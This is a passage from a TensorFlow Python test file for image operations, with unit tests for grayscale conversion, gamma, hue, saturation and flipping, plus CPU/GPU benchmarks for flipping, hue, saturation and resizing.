dtype=np.uint8).reshape([1, 1, 2, 1]) y_np = np.array( [[1, 1, 1], [2, 2, 2]], dtype=np.uint8).reshape([1, 1, 2, 3]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.grayscale_to_rgb(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) # 3-D input with no batch dimension. x_np = np.array([[1, 2]], dtype=np.uint8).reshape([1, 2, 1]) y_np = np.array([[1, 1, 1], [2, 2, 2]], dtype=np.uint8).reshape([1, 2, 3]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.grayscale_to_rgb(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testGrayscaleToRGBInputValidation(self): # tests whether the grayscale_to_rgb function raises # an exception if the input images' last dimension is # not of size 1, i.e. the images have shape # [batch size, height, width] or [height, width] # tests if an exception is raised if a three dimensional # input is used, i.e. the images have shape [batch size, height, width] with self.cached_session(): # 3-D input with batch dimension. x_np = np.array([[1, 2]], dtype=np.uint8).reshape([1, 1, 2]) x_tf = constant_op.constant(x_np, shape=x_np.shape) # this is the error message we expect the function to raise err_msg = "Last dimension of a grayscale image should be size 1" with self.assertRaisesRegex(ValueError, err_msg): image_ops.grayscale_to_rgb(x_tf) # tests if an exception is raised if a two dimensional # input is used, i.e. the images have shape [height, width] with self.cached_session(): # 1-D input without batch dimension. x_np = np.array([[1, 2]], dtype=np.uint8).reshape([2]) x_tf = constant_op.constant(x_np, shape=x_np.shape) # this is the error message we expect the function to raise err_msg = "must be at least two-dimensional" with self.assertRaisesRegex(ValueError, err_msg): image_ops.grayscale_to_rgb(x_tf) def testShapeInference(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): # Shape inference works and produces expected output where possible rgb_shape = [7, None, 19, 3] gray_shape = rgb_shape[:-1] + [1] with self.cached_session(): rgb_tf = array_ops.placeholder(dtypes.uint8, shape=rgb_shape) gray = image_ops.rgb_to_grayscale(rgb_tf) self.assertEqual(gray_shape, gray.get_shape().as_list()) with self.cached_session(): gray_tf = array_ops.placeholder(dtypes.uint8, shape=gray_shape) rgb = image_ops.grayscale_to_rgb(gray_tf) self.assertEqual(rgb_shape, rgb.get_shape().as_list()) # Shape inference does not break for unknown shapes with self.cached_session(): rgb_tf_unknown = array_ops.placeholder(dtypes.uint8) gray_unknown = image_ops.rgb_to_grayscale(rgb_tf_unknown) self.assertFalse(gray_unknown.get_shape()) with self.cached_session(): gray_tf_unknown = array_ops.placeholder(dtypes.uint8) rgb_unknown = image_ops.grayscale_to_rgb(gray_tf_unknown) self.assertFalse(rgb_unknown.get_shape()) class AdjustGamma(test_util.TensorFlowTestCase): def test_adjust_gamma_less_zero_float32(self): """White image should be returned for gamma equal to zero""" with self.cached_session(): x_data = np.random.uniform(0, 1.0, (8, 8)) x_np = np.array(x_data, dtype=np.float32) x = constant_op.constant(x_np, shape=x_np.shape) err_msg = "Gamma should be a non-negative real number" with self.assertRaisesRegex( (ValueError, errors.InvalidArgumentError), err_msg): image_ops.adjust_gamma(x, gamma=-1) def test_adjust_gamma_less_zero_uint8(self): """White image should be returned for gamma equal to zero""" with self.cached_session(): x_data = np.random.uniform(0, 255, (8, 8)) x_np = np.array(x_data, dtype=np.uint8) x = constant_op.constant(x_np, shape=x_np.shape) err_msg = "Gamma should be a non-negative real number" with self.assertRaisesRegex( (ValueError, errors.InvalidArgumentError), err_msg): image_ops.adjust_gamma(x, gamma=-1) def test_adjust_gamma_less_zero_tensor(self): """White image should be returned for gamma equal to zero""" with self.cached_session(): x_data = np.random.uniform(0, 1.0, (8, 8)) x_np = np.array(x_data, dtype=np.float32) x = constant_op.constant(x_np, shape=x_np.shape) y = constant_op.constant(-1.0, dtype=dtypes.float32) err_msg = "Gamma should be a non-negative real number" with self.assertRaisesRegex( (ValueError, errors.InvalidArgumentError), err_msg): image = image_ops.adjust_gamma(x, gamma=y) self.evaluate(image) def _test_adjust_gamma_uint8(self, gamma): """Verifying the output with expected results for gamma correction for uint8 images """ with self.cached_session(): x_np = np.random.uniform(0, 255, (8, 8)).astype(np.uint8) x = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.adjust_gamma(x, gamma=gamma) y_tf = np.trunc(self.evaluate(y)) # calculate gamma correction using numpy # firstly, transform uint8 to float representation # then perform correction y_np = np.power(x_np / 255.0, gamma) # convert correct numpy image back to uint8 type y_np = np.trunc(np.clip(y_np * 255.5, 0, 255.0)) self.assertAllClose(y_tf, y_np, 1e-6) def _test_adjust_gamma_float32(self, gamma): """Verifying the output with expected results for gamma correction for float32 images """ with self.cached_session(): x_np = np.random.uniform(0, 1.0, (8, 8)) x = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.adjust_gamma(x, gamma=gamma) y_tf = self.evaluate(y) y_np = np.clip(np.power(x_np, gamma), 0, 1.0) self.assertAllClose(y_tf, y_np, 1e-6) def test_adjust_gamma_one_float32(self): """Same image should be returned for gamma equal to one""" self._test_adjust_gamma_float32(1.0) def test_adjust_gamma_one_uint8(self): self._test_adjust_gamma_uint8(1.0) def test_adjust_gamma_zero_uint8(self): """White image should be returned for gamma equal to zero for uint8 images """ self._test_adjust_gamma_uint8(gamma=0.0) def test_adjust_gamma_less_one_uint8(self): """Verifying the output with expected results for gamma correction with gamma equal to half for uint8 images """ self._test_adjust_gamma_uint8(gamma=0.5) def test_adjust_gamma_greater_one_uint8(self): """Verifying the output with expected results for gamma correction for uint8 images """ self._test_adjust_gamma_uint8(gamma=1.0) def test_adjust_gamma_less_one_float32(self): """Verifying the output with expected results for gamma correction with gamma equal to half for float32 images """ self._test_adjust_gamma_float32(0.5) def test_adjust_gamma_greater_one_float32(self): """Verifying the output with expected results for gamma correction with gamma equal to two for float32 images """ self._test_adjust_gamma_float32(1.0) def test_adjust_gamma_zero_float32(self): """White image should be returned for gamma equal to zero for float32 images """ self._test_adjust_gamma_float32(0.0) class AdjustHueTest(test_util.TensorFlowTestCase): def testAdjustNegativeHue(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) delta = -0.25 y_data = [0, 13, 1, 54, 226, 59, 8, 234, 150, 255, 39, 1] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.adjust_hue(x, delta) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testAdjustPositiveHue(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) delta = 0.25 y_data = [13, 0, 11, 226, 54, 221, 234, 8, 92, 1, 217, 255] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.adjust_hue(x, delta) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testBatchAdjustHue(self): x_shape = [2, 1, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) delta = 0.25 y_data = [13, 0, 11, 226, 54, 221, 234, 8, 92, 1, 217, 255] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.adjust_hue(x, delta) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def _adjustHueNp(self, x_np, delta_h): self.assertEqual(x_np.shape[-1], 3) x_v = x_np.reshape([-1, 3]) y_v = np.ndarray(x_v.shape, dtype=x_v.dtype) channel_count = x_v.shape[0] for i in range(channel_count): r = x_v[i][0] g = x_v[i][1] b = x_v[i][2] h, s, v = colorsys.rgb_to_hsv(r, g, b) h += delta_h h = math.fmod(h + 10.0, 1.0) r, g, b = colorsys.hsv_to_rgb(h, s, v) y_v[i][0] = r y_v[i][1] = g y_v[i][2] = b return y_v.reshape(x_np.shape) def _adjustHueTf(self, x_np, delta_h): with self.cached_session(): x = constant_op.constant(x_np) y = image_ops.adjust_hue(x, delta_h) y_tf = self.evaluate(y) return y_tf def testAdjustRandomHue(self): x_shapes = [ [2, 2, 3], [4, 2, 3], [2, 4, 3], [2, 5, 3], [1000, 1, 3], ] test_styles = [ "all_random", "rg_same", "rb_same", "gb_same", "rgb_same", ] for x_shape in x_shapes: for test_style in test_styles: x_np = np.random.rand(*x_shape) * 255. delta_h = np.random.rand() * 2.0 - 1.0 if test_style == "all_random": pass elif test_style == "rg_same": x_np[..., 1] = x_np[..., 0] elif test_style == "rb_same": x_np[..., 2] = x_np[..., 0] elif test_style == "gb_same": x_np[..., 2] = x_np[..., 1] elif test_style == "rgb_same": x_np[..., 1] = x_np[..., 0] x_np[..., 2] = x_np[..., 0] else: raise AssertionError("Invalid test style: %s" % (test_style)) y_np = self._adjustHueNp(x_np, delta_h) y_tf = self._adjustHueTf(x_np, delta_h) self.assertAllClose(y_tf, y_np, rtol=2e-5, atol=1e-5) def testInvalidShapes(self): fused = False if not fused: # The tests are known to pass with the fused adjust_hue. We will enable # them when the fused implementation is the default. return x_np = np.random.rand(2, 3) * 255. delta_h = np.random.rand() * 2.0 - 1.0 fused = False with self.assertRaisesRegex(ValueError, "Shape must be at least rank 3"): self._adjustHueTf(x_np, delta_h) x_np = np.random.rand(4, 2, 4) * 255. delta_h = np.random.rand() * 2.0 - 1.0 with self.assertRaisesOpError("input must have 3 channels"): self._adjustHueTf(x_np, delta_h) def testInvalidDeltaValue(self): """Delta value must be in the inetrval of [-1,1].""" if not context.executing_eagerly(): self.skipTest("Eager mode only") else: with self.cached_session(): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) x = constant_op.constant(x_np, shape=x_np.shape) err_msg = r"delta must be in the interval \[-1, 1\]" with self.assertRaisesRegex( (ValueError, errors.InvalidArgumentError), err_msg): image_ops.adjust_hue(x, delta=1.5) class FlipImageBenchmark(test.Benchmark): def _benchmarkFlipLeftRight(self, device, cpu_count): image_shape = [299, 299, 3] warmup_rounds = 100 benchmark_rounds = 1000 config = config_pb2.ConfigProto() if cpu_count is not None: config.inter_op_parallelism_threads = 1 config.intra_op_parallelism_threads = cpu_count with session.Session("", graph=ops.Graph(), config=config) as sess: with ops.device(device): inputs = variables.Variable( random_ops.random_uniform(image_shape, dtype=dtypes.float32) * 255, trainable=False, dtype=dtypes.float32) run_op = image_ops.flip_left_right(inputs) self.evaluate(variables.global_variables_initializer()) for i in range(warmup_rounds + benchmark_rounds): if i == warmup_rounds: start = time.time() self.evaluate(run_op) end = time.time() step_time = (end - start) / benchmark_rounds tag = device + "_%s" % (cpu_count if cpu_count is not None else "_all") print("benchmarkFlipLeftRight_299_299_3_%s step_time: %.2f us" % (tag, step_time * 1e6)) self.report_benchmark( name="benchmarkFlipLeftRight_299_299_3_%s" % (tag), iters=benchmark_rounds, wall_time=step_time) def _benchmarkRandomFlipLeftRight(self, device, cpu_count): image_shape = [299, 299, 3] warmup_rounds = 100 benchmark_rounds = 1000 config = config_pb2.ConfigProto() if cpu_count is not None: config.inter_op_parallelism_threads = 1 config.intra_op_parallelism_threads = cpu_count with session.Session("", graph=ops.Graph(), config=config) as sess: with ops.device(device): inputs = variables.Variable( random_ops.random_uniform(image_shape, dtype=dtypes.float32) * 255, trainable=False, dtype=dtypes.float32) run_op = image_ops.random_flip_left_right(inputs) self.evaluate(variables.global_variables_initializer()) for i in range(warmup_rounds + benchmark_rounds): if i == warmup_rounds: start = time.time() self.evaluate(run_op) end = time.time() step_time = (end - start) / benchmark_rounds tag = device + "_%s" % (cpu_count if cpu_count is not None else "_all") print("benchmarkRandomFlipLeftRight_299_299_3_%s step_time: %.2f us" % (tag, step_time * 1e6)) self.report_benchmark( name="benchmarkRandomFlipLeftRight_299_299_3_%s" % (tag), iters=benchmark_rounds, wall_time=step_time) def _benchmarkBatchedRandomFlipLeftRight(self, device, cpu_count): image_shape = [16, 299, 299, 3] warmup_rounds = 100 benchmark_rounds = 1000 config = config_pb2.ConfigProto() if cpu_count is not None: config.inter_op_parallelism_threads = 1 config.intra_op_parallelism_threads = cpu_count with session.Session("", graph=ops.Graph(), config=config) as sess: with ops.device(device): inputs = variables.Variable( random_ops.random_uniform(image_shape, dtype=dtypes.float32) * 255, trainable=False, dtype=dtypes.float32) run_op = image_ops.random_flip_left_right(inputs) self.evaluate(variables.global_variables_initializer()) for i in range(warmup_rounds + benchmark_rounds): if i == warmup_rounds: start = time.time() self.evaluate(run_op) end = time.time() step_time = (end - start) / benchmark_rounds tag = device + "_%s" % (cpu_count if cpu_count is not None else "_all") print("benchmarkBatchedRandomFlipLeftRight_16_299_299_3_%s step_time: " "%.2f us" % (tag, step_time * 1e6)) self.report_benchmark( name="benchmarkBatchedRandomFlipLeftRight_16_299_299_3_%s" % (tag), iters=benchmark_rounds, wall_time=step_time) def benchmarkFlipLeftRightCpu1(self): self._benchmarkFlipLeftRight("/cpu:0", 1) def benchmarkFlipLeftRightCpuAll(self): self._benchmarkFlipLeftRight("/cpu:0", None) def benchmarkFlipLeftRightGpu(self): self._benchmarkFlipLeftRight(test.gpu_device_name(), None) def benchmarkRandomFlipLeftRightCpu1(self): self._benchmarkRandomFlipLeftRight("/cpu:0", 1) def benchmarkRandomFlipLeftRightCpuAll(self): self._benchmarkRandomFlipLeftRight("/cpu:0", None) def benchmarkRandomFlipLeftRightGpu(self): self._benchmarkRandomFlipLeftRight(test.gpu_device_name(), None) def benchmarkBatchedRandomFlipLeftRightCpu1(self): self._benchmarkBatchedRandomFlipLeftRight("/cpu:0", 1) def benchmarkBatchedRandomFlipLeftRightCpuAll(self): self._benchmarkBatchedRandomFlipLeftRight("/cpu:0", None) def benchmarkBatchedRandomFlipLeftRightGpu(self): self._benchmarkBatchedRandomFlipLeftRight(test.gpu_device_name(), None) class AdjustHueBenchmark(test.Benchmark): def _benchmarkAdjustHue(self, device, cpu_count): image_shape = [299, 299, 3] warmup_rounds = 100 benchmark_rounds = 1000 config = config_pb2.ConfigProto() if cpu_count is not None: config.inter_op_parallelism_threads = 1 config.intra_op_parallelism_threads = cpu_count with self.benchmark_session(config=config, device=device) as sess: inputs = variables.Variable( random_ops.random_uniform(image_shape, dtype=dtypes.float32) * 255, trainable=False, dtype=dtypes.float32) delta = constant_op.constant(0.1, dtype=dtypes.float32) outputs = image_ops.adjust_hue(inputs, delta) run_op = control_flow_ops.group(outputs) self.evaluate(variables.global_variables_initializer()) for i in range(warmup_rounds + benchmark_rounds): if i == warmup_rounds: start = time.time() self.evaluate(run_op) end = time.time() step_time = (end - start) / benchmark_rounds tag = device + "_%s" % (cpu_count if cpu_count is not None else "_all") print("benchmarkAdjustHue_299_299_3_%s step_time: %.2f us" % (tag, step_time * 1e6)) self.report_benchmark( name="benchmarkAdjustHue_299_299_3_%s" % (tag), iters=benchmark_rounds, wall_time=step_time) def benchmarkAdjustHueCpu1(self): self._benchmarkAdjustHue("/cpu:0", 1) def benchmarkAdjustHueCpuAll(self): self._benchmarkAdjustHue("/cpu:0", None) def benchmarkAdjustHueGpu(self): self._benchmarkAdjustHue(test.gpu_device_name(), None) class AdjustSaturationBenchmark(test.Benchmark): def _benchmarkAdjustSaturation(self, device, cpu_count): image_shape = [299, 299, 3] warmup_rounds = 100 benchmark_rounds = 1000 config = config_pb2.ConfigProto() if cpu_count is not None: config.inter_op_parallelism_threads = 1 config.intra_op_parallelism_threads = cpu_count with self.benchmark_session(config=config, device=device) as sess: inputs = variables.Variable( random_ops.random_uniform(image_shape, dtype=dtypes.float32) * 255, trainable=False, dtype=dtypes.float32) delta = constant_op.constant(0.1, dtype=dtypes.float32) outputs = image_ops.adjust_saturation(inputs, delta) run_op = control_flow_ops.group(outputs) self.evaluate(variables.global_variables_initializer()) for _ in range(warmup_rounds): self.evaluate(run_op) start = time.time() for _ in range(benchmark_rounds): self.evaluate(run_op) end = time.time() step_time = (end - start) / benchmark_rounds tag = device + "_%s" % (cpu_count if cpu_count is not None else "_all") print("benchmarkAdjustSaturation_299_299_3_%s step_time: %.2f us" % (tag, step_time * 1e6)) self.report_benchmark( name="benchmarkAdjustSaturation_299_299_3_%s" % (tag), iters=benchmark_rounds, wall_time=step_time) def benchmarkAdjustSaturationCpu1(self): self._benchmarkAdjustSaturation("/cpu:0", 1) def benchmarkAdjustSaturationCpuAll(self): self._benchmarkAdjustSaturation("/cpu:0", None) def benchmarkAdjustSaturationGpu(self): self._benchmarkAdjustSaturation(test.gpu_device_name(), None) class ResizeBilinearBenchmark(test.Benchmark): def _benchmarkResize(self, image_size, num_channels): batch_size = 1 num_ops = 1000 img = variables.Variable( random_ops.random_normal( [batch_size, image_size[0], image_size[1], num_channels]), name="img") deps = [] for _ in range(num_ops): with ops.control_dependencies(deps): resize_op = image_ops.resize_bilinear( img, [299, 299], align_corners=False) deps = [resize_op] benchmark_op = control_flow_ops.group(*deps) with self.benchmark_session() as sess: self.evaluate(variables.global_variables_initializer()) results = self.run_op_benchmark( sess, benchmark_op, name=("resize_bilinear_%s_%s_%s" % (image_size[0], image_size[1], num_channels))) print("%s : %.2f ms/img" % (results["name"], 1000 * results["wall_time"] / (batch_size * num_ops))) def benchmarkSimilar3Channel(self): self._benchmarkResize((183, 229), 3) def benchmarkScaleUp3Channel(self): self._benchmarkResize((141, 186), 3) def benchmarkScaleDown3Channel(self): self._benchmarkResize((749, 603), 3) def benchmarkSimilar1Channel(self): self._benchmarkResize((183, 229), 1) def benchmarkScaleUp1Channel(self): self._benchmarkResize((141, 186), 1) def benchmarkScaleDown1Channel(self): self._benchmarkResize((749, 603), 1) class ResizeBicubicBenchmark(test.Benchmark): def _benchmarkResize(self, image_size, num_channels): batch_size = 1 num_ops = 1000 img = variables.Variable( random_ops.random_normal( [batch_size, image_size[0], image_size[1], num_channels]), name="img") deps = [] for _ in range(num_ops): with ops.control_dependencies(deps): resize_op = image_ops.resize_bicubic( img, [299, 299], align_corners=False) deps = [resize_op] benchmark_op = control_flow_ops.group(*deps) with self.benchmark_session() as sess: self.evaluate(variables.global_variables_initializer()) results = self.run_op_benchmark( sess, benchmark_op, min_iters=20, name=("resize_bicubic_%s_%s_%s" % (image_size[0], image_size[1], num_channels))) print("%s : %.2f ms/img" % (results["name"], 1000 * results["wall_time"] / (batch_size * num_ops))) def benchmarkSimilar3Channel(self): self._benchmarkResize((183, 229), 3) def benchmarkScaleUp3Channel(self): self._benchmarkResize((141, 186), 3) def benchmarkScaleDown3Channel(self): self._benchmarkResize((749, 603), 3) def benchmarkSimilar1Channel(self): self._benchmarkResize((183, 229), 1) def benchmarkScaleUp1Channel(self): self._benchmarkResize((141, 186), 1) def benchmarkScaleDown1Channel(self): self._benchmarkResize((749, 603), 1) def benchmarkSimilar4Channel(self): self._benchmarkResize((183, 229), 4) def benchmarkScaleUp4Channel(self): self._benchmarkResize((141, 186), 4) def benchmarkScaleDown4Channel(self): self._benchmarkResize((749, 603), 4) class ResizeAreaBenchmark(test.Benchmark): def _benchmarkResize(self, image_size, num_channels): batch_size = 1 num_ops = 1000 img = variables.Variable( random_ops.random_normal( [batch_size, image_size[0], image_size[1], num_channels]), name="img") deps = [] for _ in range(num_ops): with ops.control_dependencies(deps): resize_op = image_ops.resize_area(img, [299, 299], align_corners=False) deps = [resize_op] benchmark_op = control_flow_ops.group(*deps) with self.benchmark_session() as sess: self.evaluate(variables.global_variables_initializer()) results = self.run_op_benchmark( sess, benchmark_op, name=("resize_area_%s_%s_%s" % (image_size[0], image_size[1], num_channels))) print("%s : %.2f ms/img" % (results["name"], 1000 * results["wall_time"] / (batch_size * num_ops))) def benchmarkSimilar3Channel(self): self._benchmarkResize((183, 229), 3) def benchmarkScaleUp3Channel(self): self._benchmarkResize((141, 186), 3) def benchmarkScaleDown3Channel(self): self._benchmarkResize((749, 603), 3) def benchmarkSimilar1Channel(self): self._benchmarkResize((183, 229), 1) def benchmarkScaleUp1Channel(self): self._benchmarkResize((141, 186), 1) def benchmarkScaleDown1Channel(self): self._benchmarkResize((749, 603), 1) class AdjustSaturationTest(test_util.TensorFlowTestCase): def testHalfSaturation(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) saturation_factor = 0.5 y_data = [6, 9, 13, 140, 180, 226, 135, 121, 234, 172, 255, 128] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.adjust_saturation(x, saturation_factor) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testTwiceSaturation(self): x_shape = [2, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) saturation_factor = 2.0 y_data = [0, 5, 13, 0, 106, 226, 30, 0, 234, 89, 255, 0] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.adjust_saturation(x, saturation_factor) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testBatchSaturation(self): x_shape = [2, 1, 2, 3] x_data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] x_np = np.array(x_data, dtype=np.uint8).reshape(x_shape) saturation_factor = 0.5 y_data = [6, 9, 13, 140, 180, 226, 135, 121, 234, 172, 255, 128] y_np = np.array(y_data, dtype=np.uint8).reshape(x_shape) with self.cached_session(): x = constant_op.constant(x_np, shape=x_shape) y = image_ops.adjust_saturation(x, saturation_factor) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def _adjustSaturationNp(self, x_np, scale): self.assertEqual(x_np.shape[-1], 3) x_v = x_np.reshape([-1, 3]) y_v = np.ndarray(x_v.shape, dtype=x_v.dtype) channel_count = x_v.shape[0] for i in range(channel_count): r = x_v[i][0] g = x_v[i][1] b = x_v[i][2] h, s, v = colorsys.rgb_to_hsv(r, g, b) s *= scale s = min(1.0, max(0.0, s)) r, g, b = colorsys.hsv_to_rgb(h, s, v) y_v[i][0] = r y_v[i][1] = g y_v[i][2] = b return y_v.reshape(x_np.shape) def testAdjustRandomSaturation(self): x_shapes = [ [2, 2, 3], [4, 2, 3], [2, 4, 3], [2, 5, 3], [1000, 1, 3], ] test_styles = [ "all_random", "rg_same", "rb_same", "gb_same", "rgb_same", ] with self.cached_session(): for x_shape in x_shapes: for test_style in test_styles: x_np = np.random.rand(*x_shape) * 255. scale = np.random.rand() if test_style == "all_random": pass elif test_style == "rg_same": x_np[..., 1] = x_np[..., 0] elif test_style == "rb_same": x_np[..., 2] = x_np[..., 0] elif test_style == "gb_same": x_np[..., 2] = x_np[..., 1] elif test_style == "rgb_same": x_np[..., 1] = x_np[..., 0] x_np[..., 2] = x_np[..., 0] else: raise AssertionError("Invalid test style: %s" % (test_style)) y_baseline = self._adjustSaturationNp(x_np, scale) y_fused = self.evaluate(image_ops.adjust_saturation(x_np, scale)) self.assertAllClose(y_fused, y_baseline, rtol=2e-5, atol=1e-5) class FlipTransposeRotateTest(test_util.TensorFlowTestCase, parameterized.TestCase): def testInvolutionLeftRight(self): x_np = np.array([[1, 2, 3], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_left_right(image_ops.flip_left_right(x_tf)) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testInvolutionLeftRightWithBatch(self): x_np = np.array( [[[1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3]]], dtype=np.uint8).reshape([2, 2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_left_right(image_ops.flip_left_right(x_tf)) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, x_np) def testLeftRight(self): x_np = np.array([[1, 2, 3], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[3, 2, 1], [3, 2, 1]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_left_right(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testLeftRightWithBatch(self): x_np = np.array( [[[1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3]]], dtype=np.uint8).reshape([2, 2, 3, 1]) y_np = np.array( [[[3, 2, 1], [3, 2, 1]], [[3, 2, 1], [3, 2, 1]]], dtype=np.uint8).reshape([2, 2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.flip_left_right(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testRandomFlipLeftRightStateful(self): # Test random flip with single seed (stateful). with ops.Graph().as_default(): x_np = np.array([[1, 2, 3], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[3, 2, 1], [3, 2, 1]], dtype=np.uint8).reshape([2, 3, 1]) seed = 42 with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.random_flip_left_right(x_tf, seed=seed) self.assertTrue(y.op.name.startswith("random_flip_left_right")) count_flipped = 0 count_unflipped = 0 for _ in range(100): y_tf = self.evaluate(y) if y_tf[0][0] == 1: self.assertAllEqual(y_tf, x_np) count_unflipped += 1 else: self.assertAllEqual(y_tf, y_np) count_flipped += 1 # 100 trials # Mean: 50 # Std Dev: ~5 # Six Sigma: 50 - (5 * 6) = 20 self.assertGreaterEqual(count_flipped, 20) self.assertGreaterEqual(count_unflipped, 20) def testRandomFlipLeftRight(self): x_np = np.array([[1, 2, 3], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[3, 2, 1], [3, 2, 1]], dtype=np.uint8).reshape([2, 3, 1]) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) count_flipped = 0 count_unflipped = 0 for seed in range(100): y_tf = self.evaluate(image_ops.random_flip_left_right(x_tf, seed=seed)) if y_tf[0][0] == 1: self.assertAllEqual(y_tf, x_np) count_unflipped += 1 else: self.assertAllEqual(y_tf, y_np) count_flipped += 1 self.assertEqual(count_flipped, 45) self.assertEqual(count_unflipped, 55) # TODO(b/162345082): stateless random op generates different random number # with xla_gpu. Update tests such that there is a single ground truth result # to test against. @parameterized.named_parameters( ("_RandomFlipLeftRight", image_ops.stateless_random_flip_left_right), ("_RandomFlipUpDown", image_ops.stateless_random_flip_up_down), ) def testRandomFlipStateless(self, func): with test_util.use_gpu(): x_np = np.array([[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([2, 3, 1]) y_np = np.array([[3, 2, 1], [6, 5, 4]], dtype=np.uint8).reshape([2, 3, 1]) if "RandomFlipUpDown" in self.id(): y_np = np.array( [[4, 5, 6], [1, 2, 3]], dtype=np.uint8).reshape([2, 3, 1]) x_tf = constant_op.constant(x_np, shape=x_np.shape) iterations = 2 flip_counts = [None for _ in range(iterations)] flip_sequences = ["" for _ in range(iterations)] test_seed = (1, 2) split_seeds = stateless_random_ops.split(test_seed, 10) seeds_list = self.evaluate(split_seeds) for i in range(iterations): count_flipped = 0 count_unflipped = 0 flip_seq = "" for seed in seeds_list: y_tf = func(x_tf, seed=seed) y_tf_eval = self.evaluate(y_tf) if y_tf_eval[0][0] == 1: self.assertAllEqual(y_tf_eval, x_np) count_unflipped += 1 flip_seq += "U" else: self.assertAllEqual(y_tf_eval, y_np) count_flipped += 1 flip_seq += "F" flip_counts[i] = (count_flipped, count_unflipped) flip_sequences[i] = flip_seq # Verify that results are deterministic. for i in range(1, iterations): self.assertAllEqual(flip_counts[0], flip_counts[i]) self.assertAllEqual(flip_sequences[0], flip_sequences[i]) # TODO(b/162345082): stateless random op generates different random number # with xla_gpu. Update tests such that there is a single ground truth result # to test against. @parameterized.named_parameters( ("_RandomFlipLeftRight", image_ops.stateless_random_flip_left_right), ("_RandomFlipUpDown", image_ops.stateless_random_flip_up_down) ) def testRandomFlipStatelessWithBatch(self, func): with test_util.use_gpu(): batch_size = 16 # create single item of test data x_np_raw = np.array( [[1, 2, 3], [4, 5, 6]], dtype=np.uint8).reshape([1, 2, 3, 1]) y_np_raw = np.array( [[3, 2, 1], [6, 5, 4]], dtype=np.uint8).reshape([1, 2, 3, 1]) if "RandomFlipUpDown" in self.id(): y_np_raw = np.array( [[4, 5, 6], [1, 2, 3]], dtype=np.uint8).reshape([1, 2, 3, 1]) # create batched test data x_np = np.vstack([x_np_raw for _ in range(batch_size)]) y_np = np.vstack([y_np_raw for _ in range(batch_size)]) x_tf = constant_op.constant(x_np, shape=x_np.shape) iterations = 2 flip_counts = [None for _ in range(iterations)] flip_sequences = ["" for _ in range(iterations)] test_seed = (1, 2) split_seeds = stateless_random_ops.split(test_seed, 10) seeds_list = self.evaluate(split_seeds) for i in range(iterations): count_flipped = 0 count_unflipped = 0 flip_seq = "" for seed in seeds_list: y_tf = func(x_tf, seed=seed) y_tf_eval = self.evaluate(y_tf) for j in range(batch_size): if y_tf_eval[j][0][0] == 1: self.assertAllEqual(y_tf_eval[j], x_np[j]) count_unflipped += 1 flip_seq += "U" else: self.assertAllEqual(y_tf_eval[j], y_np[j]) count_flipped += 1 flip_seq += "F" flip_counts[i] = (count_flipped, count_unflipped) flip_sequences[i] = flip_seq for i in range(1, iterations): 